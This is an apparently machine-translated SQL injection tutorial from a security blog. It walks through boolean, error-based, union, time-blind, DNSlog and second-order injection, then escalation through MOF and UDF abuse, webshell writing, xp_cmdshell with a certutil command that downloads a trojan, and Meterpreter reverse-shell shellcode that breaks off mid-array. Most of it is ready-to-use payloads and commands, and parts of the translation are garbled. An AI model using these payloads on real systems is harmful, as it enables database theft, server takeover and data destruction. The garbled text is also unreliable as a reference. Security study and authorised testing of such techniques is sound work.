SQL Injection Basics


Public number: White hat left one

SQL Injection Basics

**SQL injection** (English: SQL injection), is a [security vulnerability] (https://en.wikipedia.org/wiki/security vulnerability) that occurs in the application and database layers. In short, injecting [SQL](https://zh.wikipedia.org/wiki/SQL) instructions into the input string, in a poorly designed [program](https://zh.wikipedia. org/wiki/computer programs) ignore character checking, then these injected malicious instructions will be [database](https://zh.wikipedia.org/wiki/database)[server](https:// en.wikipedia.org/wiki/server) mistakenly thinks it is a normal SQL command and runs, so it is damaged or hacked.

Although OWASP Top10 has been changed throughout the year, sql injection has basically been at the top of the list.

The harm of SQL injection is naturally great, usually as follows (from [wiki](https://zh.wikipedia.org/wiki/SQL%E6%B3%A8%E5%85%A5)):


  • Data leakage in the data sheet, such as corporate and personal confidential information, account information, passwords, etc.
  • The data structure is discovered by hackers, allowing further attacks (eg SELECT * FROM sys.tables).
  • The database server was attacked and the system administrator account was tampered with (eg ALTER LOGIN sa WITH PASSWORD='xxxxxx').
  • After obtaining higher system permissions, it may be possible to join the web pagemalicious linkMalicious codeas well asPhishingWait.
  • The operating system support provided by the database server allows hackers to modify or control the operating system (eg xp_cmdshell "net stop iisadmin" to stop the server's IIS service).
  • Hackers upload simple php commands to the host of the other party. The powerful system commands of PHP allow hackers to fully control the system (for example: php one-word Trojan horse).
  • Destroy hard disk data and paralyze the entire system (eg xp_cmdshell "FORMAT C:").
  • After obtaining the highest authority of the system, it can do large-scale damage to any management system within the enterprise, and even make its enterprise go bankrupt.
  • The homepage of the corporate website was tampered with, and the appearance was lost.

After finding the injection point, the basic process of SQL injection is as follows:

collect message:
database type
Database version
database user
Database permissions

retrieve data:
Get library information
Get table information
Get column information
retrieve data

Elevation of rights:
Excuting an order
Read file Read middleware configuration file, read database configuration file
write file write webshell

Injection classification and utilization

Boolean injection

Boolean is an English wordBooleanThe transliteration of , students who know programming should know that it is a data type used to represent yes or no (True or False). Boolean injection is an injection method that judges whether the condition is true or false according to the return result of the page during the SQL injection process.

Returns True when the query result is not empty, otherwise returns False. This is usually reflected on web pages where True has content displayed, while False corresponds to a blank page (or no page change). In this way, we can guess the characters of the table name, field name and field value one by one, and judge whether the guess is correct by returning the result, because the process is cumbersome, and it is usually done in combination with scripts or tools.

For example, in sqli-labs Less8, only correct and incorrect pages are returned. We can then use boolean injection to guess the data.

The statement to judge the length of the database, the page is not displayed at this time, indicating that the length is 8:' and length(database())>8 --+


Splice when getting database nameand (ascii(substr(database(),1,1)))>115statement, an error occurs, and the first character of the database name is "s" according to the ASCII code table. Then repeat this operation to get the data we need.

Error injection


During the SQL injection attack, the server enables error echoing, the page returns error information, and the error reporting function is used to obtain database data.

There are two main scenarios, one is when the query does not echo the content, but an error message is printed; the other is at injection points such as insert and update (Order by query), these statements will also print an error message.

Commonly used Mysql error reporting functions are as follows:

updatexml(): mysql's xpath function for querying and modifying xml document data

extractvalue(): mysql's xpath function for querying xml document data

floor(): The function used to round up in mysql

exp(): This function returns the value of e (base of natural logarithm) exponent X to the power



  • When there are special characters and letters in updatexml, an error will appear. The error information is the special characters, letters and the following content, and the data output by hex contains letters and numbers, so the content before the first letter will be lost, and updatexml will report an error at most only Can display 32 bits, we can combine the SUBSTR function to get the data, for example as follows:
mysql> select updatexml(1,make_set(3,'~',(select user())),1);

ERROR 1105 (HY000): XPATH syntax error: '~,[email protected]'

mysql> select updatexml(1,lpad('@',30,(select user())),1);

ERROR 1105 (HY000): XPATH syntax error: '@[email protected]@'

mysql> select updatexml(1,repeat((select user()),2),1);

ERROR 1105 (HY000): XPATH syntax error: '@[email protected]'

mysql> select updatexml(1,(select user()),1);

ERROR 1105 (HY000): XPATH syntax error: '@localhost'

mysql> select updatexml(1,reverse((select user())),1);

ERROR 1105 (HY000): XPATH syntax error: '@toor'

mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);

ERROR 1105 (HY000): XPATH syntax error: '::,::,[email protected],[email protected]'


  • extractvalue(target xml document, xml path). The second parameter Xpath in the grammar is an operable place. If we write in the wrong format, an error will be reported, and the illegal format content we wrote will be returned, and this illegal content is the content we want to query.
mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));//获取表名

ERROR 1105 (HY000): XPATH syntax error: '\users'

mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: '\xxxx'mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));//获取字段

ERROR 1105 (HY000): XPATH syntax error: '\Dumb'


  • The role of the floor() function is to return the largest integer less than or equal to the value in the parentheses, that is, rounding. floor(rand(0)*2) is the result of multiplying the random sequence generated by rand(0) by 2, and then rounding. floor error injection is used

    select count(*),(floor(rand(0)*2)) x from users group by x


    This relatively fixed statement format results in a database error. For its error reporting principle, please refer to:source

1. ' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe

2. ' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a),'','') -- qwe


Federated Query Injection

Take MySQL as an example here

  • GET

Get the echo point:

Perform a joint query based on the acquired fields to view the display points. See the numbers displayed on the web page and the numbers corresponding to the joint query fields to get which field the data queried can be displayed on the website. (Using and 1=2, you can also use other methods such as -2/2.1154 to report an error to the previous query, and then the web page displays the data from the joint query.)

and 1=2 union select 1,2,3,4,5




Character type:

The difference between character type and number type is only closure and comments, and the rest of the statements are basically the same. Like here, because the query condition parameters of the SQL statement written in PHP are enclosed in single quotation marks, so use single quotation marks. If it is other such as double quotation marks, it should be closed with double quotation marks, and then comment out the redundant match or deal with it.

' and 1=2 union select 1,2,3-- qwe



Here are some specific usage statements:

and 1=2 union select 1,database(),3,4,5 //Query the current database
and 1=2 union select 1,database(),version(),4,5 //Query the current database and version
and 1=2 union select 1,database(),table_name,4,5 from information_schema.tables where table_schema=database() limit 0,1 //爆表名



  • POST

Master password:

The most frequently mentioned POST injection should be the universal password. (the first user in the default login form)

Universal password, where the previous condition is false, followed by 1=1 is true, or or, one true and one false is true, so the condition is true, then query all the data in the table.

`' or 1=1 -- qwe`



Get the number of fields:

' or 1=1 order by 1 -- qwe



The search box is as follows, and it can be obtained after the field is closed.



time blind

When injecting, no matter what value we pass in, if the web page is normal or an error is reported, a page is displayed, then whether the web page is displayed normally or not will not be the basis for us to judge whether the injection is successful, and we must use time-based blind injection.

Here is also Mysql as an example.

MySQL Delay Injection

Delay injection is to add two functions to the blind injection:

if(expr1,expr2,expr3) Judgment statement If the first statement is correct, execute the second statement if the error executes the third statement

sleep function

sleep(): how many seconds to sleep

Determine the injection point:

Only one type of page is returned, regardless of whether the entered statement is true or false.

At this point, we can only use sleep() to determine the injection point.

' and sleep(5)-- qwe //The delay is 5 seconds, which proves that the execution is successful.


Guess the current database:

' and if(length(database())>8,1,sleep(5))-- When the length of the qwe database is greater than 8, the delay is 5 seconds, and the database name is a string of length 8.
' and if(ord(mid(database(),1,1))>115,1,sleep(5))-- qwe
ASCII code: 115 -> s Guess the first character of the database



The following exploits are similar to the blinds, but are judged differently.

benchmark function

Introduction to the BENCHMARK(count, expr) function

The benchmark function will repeat the calculation of the expr expression count times, so we can increase the number of calculations as much as possible to increase the time delay.


and if((Boolean blind statement),BENCHMARK(10000000,md5('a')),1);


Cartesian product function

The so-called superposition full array is to make a Cartesian product connection on multiple tables, so that the query time increases exponentially. That is to say, the attacker continuously superimposes simple table queries and continuously increases the load of the system executing SQL statements until an attack occurs. the desired time delay. In order to prevent unnecessary errors from indicating that repetition may lead to unnecessary errors, table aliases are generally used to distinguish

and if((Boolean blind statement),(Cartesian product statement),1);




mysql> select count(*) from information_schema.columns a,information_schema.columns b;


| count(*) |


| 774400 |


1 row in set (0.20 sec)

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;


| count(*) |


| 113101560 |


1 row in set (2.07 sec)



get_lock blinds

If get_lock is performed on the keyword, then open another session and perform get_lock on the key again, which will delay the time we specified. This blind injection method has some limitations, that is, two sessions must be opened at the same time for injection.




mysql> select get_lock('rocky',5);
| get_lock('rocky',5) |
| 1 |
1 row in set (0.00 sec)




mysql> select get_lock('rocky',5);
| get_lock('rocky',5) |
| 0 |
1 row in set (5.00 sec)



and if((Boolean blind statement),GET_LOCK(str,timeout),1);

inject type extension

DNSlog injection

What is DNS?

The full name of DNS is Domain Name System, which maps domain names and IP addresses to each other, making it easier for people to access the Internet. When the user enters a URL such aswww.test.com, the DNS Server on the network will resolve the domain name and find the corresponding real IP such as192.168.10.11, so that users can access the corresponding services on this server.

What is Dnslog

Dnslog is the domain name information stored on the DNS Server, which records the user's information on the domain namewww.test.comt00ls.com.etc. access information.

Use scenarios of DNSLOG:

In some cases where the vulnerability cannot be directly used to obtain an echo, but the target can initiate a request, the desired data can be taken out through DNSlog at this time.
For blind SQL injection, the common method is to guess one by one by dichotomy, but such a method is troublesome, and it is easy to be banned due to frequent data requests.
So you can send the selected data to a url, and use the log generated by dns parsing to view the data.

DNSlog injection principle:

Through sub-queries, the content is spliced ​​into the domain name, and load_file() is used to access the shared file, and the visited domain name is recorded
At this time, it becomes an error injection, and the blind injection becomes an error injection, and the remote shared file is read, and the query is made by splicing out the function, and it is spliced ​​into the domain name. When accessing, the server will be accessed, and the log will be viewed after recording.

LOAD_FILE() function to read a file:

Read a file and return the file content as a string. To use this function:
1. The file must be located on the server host
2. You must specify the full path of the file
3. Must have FILE permission. All bytes of the file are readable
4. The content of the file must be less than max_allowed_packet (limiting the packet size function accepted by the server, default 1MB)
If the file does not exist or cannot be read because one of the preceding conditions is not met, the function returns NULL.

The load_file() function that needs to be injected through DNSlog is generally required to be root. show variables like '%secure%'; view the disks that load_file() can read.

  1. When secure_file_priv is empty, directories written to disk can be read and written.
  2. When secure_file_priv is G:\, the specified folder can read and write to the folder, and the files in the G disk can be read.
  3. When secure_file_priv is null, it means that reading and writing are not allowed, and load_file cannot load the file.

UNC path:

A UNC path is a network path in the form of \softer. It conforms to the format \servername\sharename, where servername is the server name and sharename is the name of the shared resource.
The UNC name of a directory or file can include the directory path under the share name in the format: \servername\sharename\directory\filename.
For example, the shared folder named it168 of the softer computer is represented by UNC as \softer\it168.
The familiar command line access method to access My Network Places should actually be called the UNC path access method.

\abc.xxx.com\abc -> Access the abc shared folder under abc.xxx.com

DNSLOG Platform


First we assign this domain name: 75icr7.ceye.io

平台有个POC:SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

  1. Change to assign our domain name:
  2. CONCAT: String concatenation function
  3. The select in the middle is a subquery. If the password of the root user is root, then this statement is equivalent to
  4. SELECT LOAD_FILE('\\\\root.75icr7.ceye.io\\abc');

Database to access the shared folder abc under the server of root.75icr7.ceye.io.
ceye.io uses pan-resolution, and the subdomains of ceye.io are resolved on a certain server, and then it records that someone requested access to root.75icr7.ceye.io, and then displays it on the ceye platform

Let's check the database and try:

and (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.75icr7.ceye.io\\abc'))) 1.txt is added here because there is a firewall and its features are used bypass.


The database information comes out.

The actual use can also refer to:The actual combat of DNSlog in SQL injection

second order injection

The second-order injection is also called the second-order injection. The principle is that the SQL statement is directly stored in the database without being escaped, and then it is read and queried.

Secondary injection is usually seen in php, when insertedaddslashes() get_magic_quotes_gpcEscape, etc., but the original data is still used when writing to the database. There are various reasons for the secondary injection.

Here we use SQLi labs lesson 24 as an example.

  1. First create a user amin'# with comments

  1. Looking at the database, it can be seen that the record was successfully added. Although there is an escape operation here, as mentioned above, the data is stored in the database in its original form.

  1. Use the registered account to modify the password. The sql statement is analyzed as follows:
The sql statement in the source code: UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
Statement to be executed: UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
The final executed statement: UPDATE users SET PASSWORD='$pass' where username='admin'



  1. can clearly see#and after are omitted, causing the password of the admin account to be changed (instead ofadmin'#of)

Order By injection

Order by injection is a special case, the sql statement isselect * from admin order by $id. We generally use order by to judge the number of columns. In fact, it is a process of sorting according to the number of columns.

order by injection cannot be used directlyand 1=1To judge, it requires the use of conditional statements.

Simple injection judgment

Take advantage of early injections when there is a lot of presenceorder byClause to quickly guess the number of columns, and then cooperateunion selectThe statement is echoed. can be modified byorderIf the parameter is a larger integer, see the echo to judge. If you don't know the column name, you can refer to the corresponding column by the serial number of the column. But after testing, the operation cannot be performed here, such asorder=3-1andorder=2are different error OK



Further construct the payload

The previous judgment is not absolute, we need to construct something likeand 1=1and 1=2payload for easy data injection. Conditional statements (if) are used here.,name,price) Sort by name field,name,price) Sort by price field,price) Sort by name field,name) Sort by price field



It can be observed that the sorting results are different.

use error

In some cases, it is impossible to know the column name, and it is not intuitive to judge the difference between the two requests. You can use functions such as updatexml and extracvalue for error injection:,if(1=1,1,user()),1) is correct,if(1=2,1,user()),1) error,if(1=1,1,user())) is correct,if(1=2,1,user())) error



time based blind

Note that if you directlyif(1=2,1,SLEEP(2)), the sleep time will become 2 * the number of records in the current table, which will cause a certain denial of service attack to the server

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) normal response time
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒



insert, delete, update injection

Notice! Injection in these cases will modify or delete data, which is a very dangerous operation. Exploitation is only considered if permitted by authorization testing.

The use is actually similar to the one mentioned before, the main methods are error reporting and blind betting.


Generally, this kind of injection will appear in the registration, ip header, message board, etc. where data needs to be written, and it is generally difficult to find that this kind of injection does not report an error.

Report an error, use the updatexml function

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");

Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;


| id | username | password |


| 1 | admin | admin |

| 1 | and 1=1 | admin |

| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |


3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");

ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'


  1. Delayed blinds

The int type can use operators, such as addition, subtraction, multiplication and division and or, exclusive or shift, etc.

mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");

Query OK, 1 row affected (5.00 sec)

mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");

Query OK, 1 row affected (0.00 sec)


Note that and cannot be used for character closure.

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");

Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");

Query OK, 1 row affected (5.01 sec)


Attention blind injection produces a lot of garbage data.


Note that delete injection is very dangerous. Be sure to sort out the logic and don't use sqlmap for a shuttle. The sentence is slightly inappropriate, and the relatives cry two lines.

Error injection is the same as above:

mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'



blind note

or withif()Improper use of function. Simply mention if(expr1, expr2, expr3), if the value of expr1 is true, return the value of expr2, if the value of expr1 is false, return the value of expr3.

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1);

Query OK, 3 rows affected (0.00 sec)



Similar to the above, here is an example of delayed injection:

mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0



limit injection

Usage of limit

limit m,n
//m is the starting position of the record, n is to take n pieces of data
limit 0,1
//Start from the first one, take a piece of data



Two functions can be followed by Limit, PROCEDURE and INTO. INTO cannot be used unless it has permission to write to the shell.

After Limit, you can use the procedure analyse() subquery, and you can only use the extractvalue and benchmark functions to delay.


procedure analyse()The function is a built-in MySQL field type that provides suggestions after statistical analysis of MySQL field values.


procesure analyse(max_elements,max_memory)



Specifies the maximum value of distinct values ​​for each column. When this value is exceeded, MySQL will not recommend the enum type.


analyse()Find the maximum memory size used to find all distinct values ​​for each column.

Error injection:

?id=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1);


Time Blinds:

You can't use sleep directly, you need to use BENCHMARK instead

?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x7e,(IF(MID(database(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)


Injection detection

For the detection of sql injection, in addition to using automated tools, manual injection is also an effective method.

We can most easily detect vulnerable parameters by triggering an error in the application or by using boolean injection. Constructing a malformed query will trigger an error, while sending a valid query with various boolean logic statements will trigger a different response from the web server. The detection methods described here can be seen in examples above, as many exploits are accompanied by tests. Our section mainly explores how to obtain database version information.

Note: True or False statements should return different responses via HTTP status codes or HTML content. If these responses are consistent with the true/false nature of the query, then there is sql injection.

Database version detection

Detecting which database management system (DBMS) the target is using is critical to further exploit injection. Without this information, it is impossible to determine which tables to query, which functions to build in, and which detections to avoid. If the query below responds successfully, the selected DBMS is in use.

Note: Put the comment character — after the query to remove any comments after the query and help prevent errors.

Front-end and database types

web application database system
.net sql server
php PostgreSQL,Mysql
asp sql server,Access
java Oracle,Mysql

This helps narrow our judgment.

port judgment

port database system
1433 SQL Sever
1521 Oracle
3306 Mysql

The Access database is a file-type database, so there is no port number.

Judgment based on a specific function


In mssql, mysql and db2, the return length value is to call the len() function; in oracle and INFORMIX, the length() is used to return the length value.

When you use and len('a')=1, when returning to the normal page, it can be inferred that the current database type may be mssql, or mysql, or db2. On the contrary, it may be oracle and informix.

@@version and version()

In mysql, you can use @@version or version() to return the current version information. But when it is impossible to judge whether it is mysql or mssql, the version() function can be used to construct the judgment.

When version()>1 returns the same page as @@version>1, it may be mysql. If there is a prompt version() error, it may be mssql.


Substring can be called in mssql. oracle can only call substr

String handling

sql server :id=1 and 'a'+'b'='ab' --
mssql:id=1 and 'a'+'b'='ab'
mysql:id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b')
oracle:id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')
postgresql :id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')



Error type

ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x

Inject privilege escalation

Mysql articles

MOF Privilege Escalation (windows)

Scope of use

Windows lower versions such as Windows Server 2003/XP

permission required

Export permission is required


mof is a file of Windows system, located in c:/windows/system32/wbem/mof/nullevt.mof, called managed object format, its function is to monitor the creation and death of process every 5 seconds. The simple process of using mof privilege escalation is to use the root privilege to perform the upload operation after having the root privilege of MySQL, and upload the rewritten mof file. After that, the file will be executed by the server with system privilege every 5 seconds. . In this rewritten mof, there is a vbs script, most of which are cmd commands to add administrator users.

How to write Mof file?


The key is the 17th net.exe user secist 123 /add, which is used to create a user with a username of secist and a password of 123.

After the creation is successful, change the command to "net.exe localgroup administrators admin /add" and upload it again to create the admin user and add it to the administrators group.

MOF Privilege Escalation – Practical Operation

This BlueCms is built on Windows Server 2003R2, the user registers, after the login is successful, upload the avatar, and then change the suffix of the mof file we want to use to 1.jpg to upload


Then by scanning the directory, we found that this website has a phpmyadmin directory. After visiting it, it shows that the PHP version is too low. It is found that Phpmyadmin can only be used if PHP is higher than 5.5. After testing it locally, Windows 2003 does not support PHP5.4 or above at all, but Pays off, I found out that it has the adminer.php file. It is also a database management tool for WEB.


Then I checked the database, and the permission to export was actually turned on.
If the local test partner is not enabled, you can go to the end of the my.ini of the database and add this sentence, and then restart Mysql. Add my.ini statement: secure_file_priv =

Then we just need to simply execute the export statement, first use load_file to read the content of the file uploaded earlier, and then export to c:/windows/system32/wbem/mof/nullevt.mof.

select load_file(“D:/phpstudy/www/bluecms/uploads/data/upload/face_pic/15905196234.jpg”) into dumpfile “c:/windows/system32/wbem/mof/kkk.mof”




Upload a mof file again, and then in the place where the command is executed, change the add user to change to increase the user authority, the mof here is the system authority, so it can be brought up directly.

Is it possible to try to achieve such an attack without an upload point?
Then what I thought of is to write it directly in the adminer and export it directly, but I guess some symbols will affect the statement. Mysql supports hexadecimal, so it should be possible to convert to hexadecimal first, and then export it with Into dumpfile

Character to hexadecimal:https://www.bejson.com/convert/ox2str/

We tried, but encountered difficulties, because after hex decoding and writing, all the code will be glued together, no more line breaks. If you are not mistaken, there is no newline added during the hexadecimal conversion, but the conversion here is complicated, and it is found that a newline is composed of a carriage return + a newline.

For the sake of speed, it is directly converted to pure char writing here.


After the execution is successful, the viewing user is obviously added, so as long as it can be imported, it can be successful.


Udf privilege escalation

Scope of use

No version requirement, only related to Mysql, not related to the server version

Permission requirements

Must have export permission, and the user must have root permission


UDF (user defined function) user-defined function is an extension interface of mysql. Users can implement functions that cannot be easily implemented in MySQL through self-defined functions, and the new functions added can be called in SQL statements, just like calling native functions. By loading the dll file extension, we can let Mysql do everything. By uploading a Dll extension that can call system commands, set custom functions, and then use the functions to execute commands.

actual combat

If mysql version > 5.1, the udf.dll file must be placed in lib\plugin\ under the mysql installation directory

If the mysql version is less than or equal to 5.1, the udf.dll file is in the system32 directory

How do we get the Dll file, in fact, there are in Sqlmap
\data\udf\mysql\windows\64\lib_mysqludf_sys.dll file in the sqlmap directory
Of course, if your target is 32-bit, then choose 32-bit.

Let's try the easiest way, uploading directly to this directory via webshell and executing the command.
This refers to the low-privilege running of the website, but the high-privilege running of the database, which is more common when IIS is used as middleware.

upload udf

First determine the database version, in line with mysql greater than or equal to 5.1.

There are udf files in sqlmap, which are divided into 32-bit and 64-bit. According to the number of bits of mysql (not the number of target system), the command show variables like '%version_%'; view the number of mysql bits.

The 32-bit lib_mysqludf_sys.dll is stored in the sqlmap\data\udf\mysql\windows\32 directory, but the shell and some binary files that come with sqlmap are encoded by XOR in order to prevent accidental killing and cannot be used directly. You can use the decoding tool cloak.py that comes with sqlmap to enter the sqlmap\extra\cloak directory and execute the command: python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys. dll

After decoding, a dll file will be generated in the sqlmap\data\udf\mysql\windows\32 folder. Create a plugin directory in the lib folder under the mysql installation path, and upload lib_mysqludf_sys.dll.

import function

Need to create functions that exist in udf, you can use winhex to open the dll to see what functions can be created. The sys_eval function is selected here.

sys_eval: Execute an arbitrary command and return the output. sys_exec: Execute an arbitrary command and return an exit code.

Introduce custom functions:create function sys_eval returns string soname "lib_mysqludf_sys.dll";

use function

Verify it: select * from mysql.func where name = 'sys_eval';

select sys_eval('calc'); Play the calculator and experiment. In addition, you can create a new account and join the administrator group for other operations.

mysql outfile export webshell

Conditions: know the physical path, root authority, and mysql needs to have write authority, secure_file_priv configuration is not null, check method:


show global variables like '%secure_file_priv%';



This parameter can only be modified by restarting mysql after modifying the configuration file.

1.select '' into outfile 'C:phpStudy/PHPTutorial/WWW/11.php'

2. Create a new table, create an empty field, insert php horse in this field, and then export


Direct export requires enabling security configuration

ps: secure_file_priv parameter is used to restrict LOAD DATA, SELECT …OUTFILE, LOAD_FILE() (reading files)

mysql log get webshell




Modify status:

set global general_log="ON";


Modify the storage location:

set global general_log_file='C:/phpStudy/PHPTutorial/WWW/11.php';


Write the horse:

select '';


Only root privileges are required.

mysql slow query log getshell

First query the slow configuration.
show variables like '%slow_query_log%';

If the result is off, run
set global slow_query_log=1;

Then set the location of the log log, set it to the web directory
set global slow_query_log_file='C:\\phpStudy\\WWW\\cs.php';

Check if the modification is successful
show variables like '%slow_query_log%';

Trigger slow query log
select '' or sleep(11);

Access the set directory, you can see that it has been successful, and getshell is the same.

Mssql articles

execute system commands

Judgment on

  1. select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

A result of 1 means open
Can be judged with blind sentences

and (select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')=1


Note: Executing system commands is a stack query, and there is no echo


select * from users where id =1 exec master..xp_cmdshell whoami



So you can try to create an account and other instructions directly. If you can't use stack query, you can use blind injection assistance

if 1=1 execute('exec xp_cmdshell whoami');select * from users where id =1 and 1=2 if 1=1 execute('exec master..xp_cmdshell whoami');


Write the file, note that the original file content will be overwritten

exec master..xp_cmdshell "echo this is a trojan>d:\.txt"


Note: If the characters in echo have quotation marks and other symbols, then we have to add a quotation mark before the quotation mark^to escape it! Remember to wrap the sentence inside with single quotes!
Execute EXE program – this is a wrong case

exec master..xp_cmdshell 'C:\WINDOWS\system32\notepad.exe'


Commands that cannot execute user interaction, such as executing a program that requires user input, closing, etc., such as Notepad, will hang the program. In addition, the pop-up window is also not good, suitable for other operations or the use of the following commands.

exec master..xp_cmdshell “certutil -urlcache -split -f http://server/trojan.exetrojan.exe" —

Write files without impurities

exec sp_configure 'show advanced options',1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE WITH OVERRIDE;



declare @ob int;exec sp_oacreate 'adodb.stream',@ob output;exec sp_oasetproperty @ob,'type',1;exec sp_oamethod @ob,'open';exec sp_oamethod @ob,'write',null,0x3c3f70687020706870696e666f28293b3f3e;exec sp_oamethod @ob,'savetofile',null,'c:\test66.txt',2;exec sp_oamethod @ob,'close';exec sp_oadestroy @ob;



Manipulate the registry

Modify the registry directly, turn off the firewall, and open 3389.
read remote desktop port

Backup file write shell

log backup

create table cmd (a image)backup log test to disk = 'c:/1.bak' with initinsert into cmd (a) values ('')backup log test to disk = 'c:\saul.aspx'drop table cmd


file backup

exec sp_makewebtask 'D:\mssql\p2.asp',''


Note that the path and content usehexadecimal

declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c002500450078006500630075007400650028007200650071007500650073007400280022004d00480022002900290025003e000d000a002700;exec sp_makewebtask 0x44003a005c006d007300730071006c005c00700032002e00610073007000, @s;


Differential backup
In theory, only different content will be backed up, but there are deviations during testing

backup database test to disk = 'c:.bak'create table [dbo].[test] ([cmd] [image]);insert into test(cmd) values('')--backup database test to disk='c:.aspx' WITH DIFFERENTIAL,FORMAT;



msf executeMsfvenom -p windows / meterpreter / reverse_tcp LHOST = LPORT = 4444 EXITFUNC = none -f csharp --platform windows

using System;using System.IO;using System.Runtime.InteropServices;namespace Meterpreter_Test2{ class Program { static void Main(string[] args) { //RunMeterpreter("", "4444"); //var str = Convert.ToString(Console.ReadLine()); } public static void RunMeterpreter(string ip, string port) { try { byte[] buf = new byte[323] { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x05, 0x68, 0xc0, 0xa8, 0x8b, 0x81, 0x68, 0x02, 0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56, 0x57, 0x68, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x4e, 0x08, 0x75, 0xec, 0xe8, 0x61, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7e, 0x36, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a, 0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00, 0x56, 0x53, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7d, 0x22, 0x58, 0x68, 0x00, 0x40, 0x00, 0x00, 0x6a, 0x00, 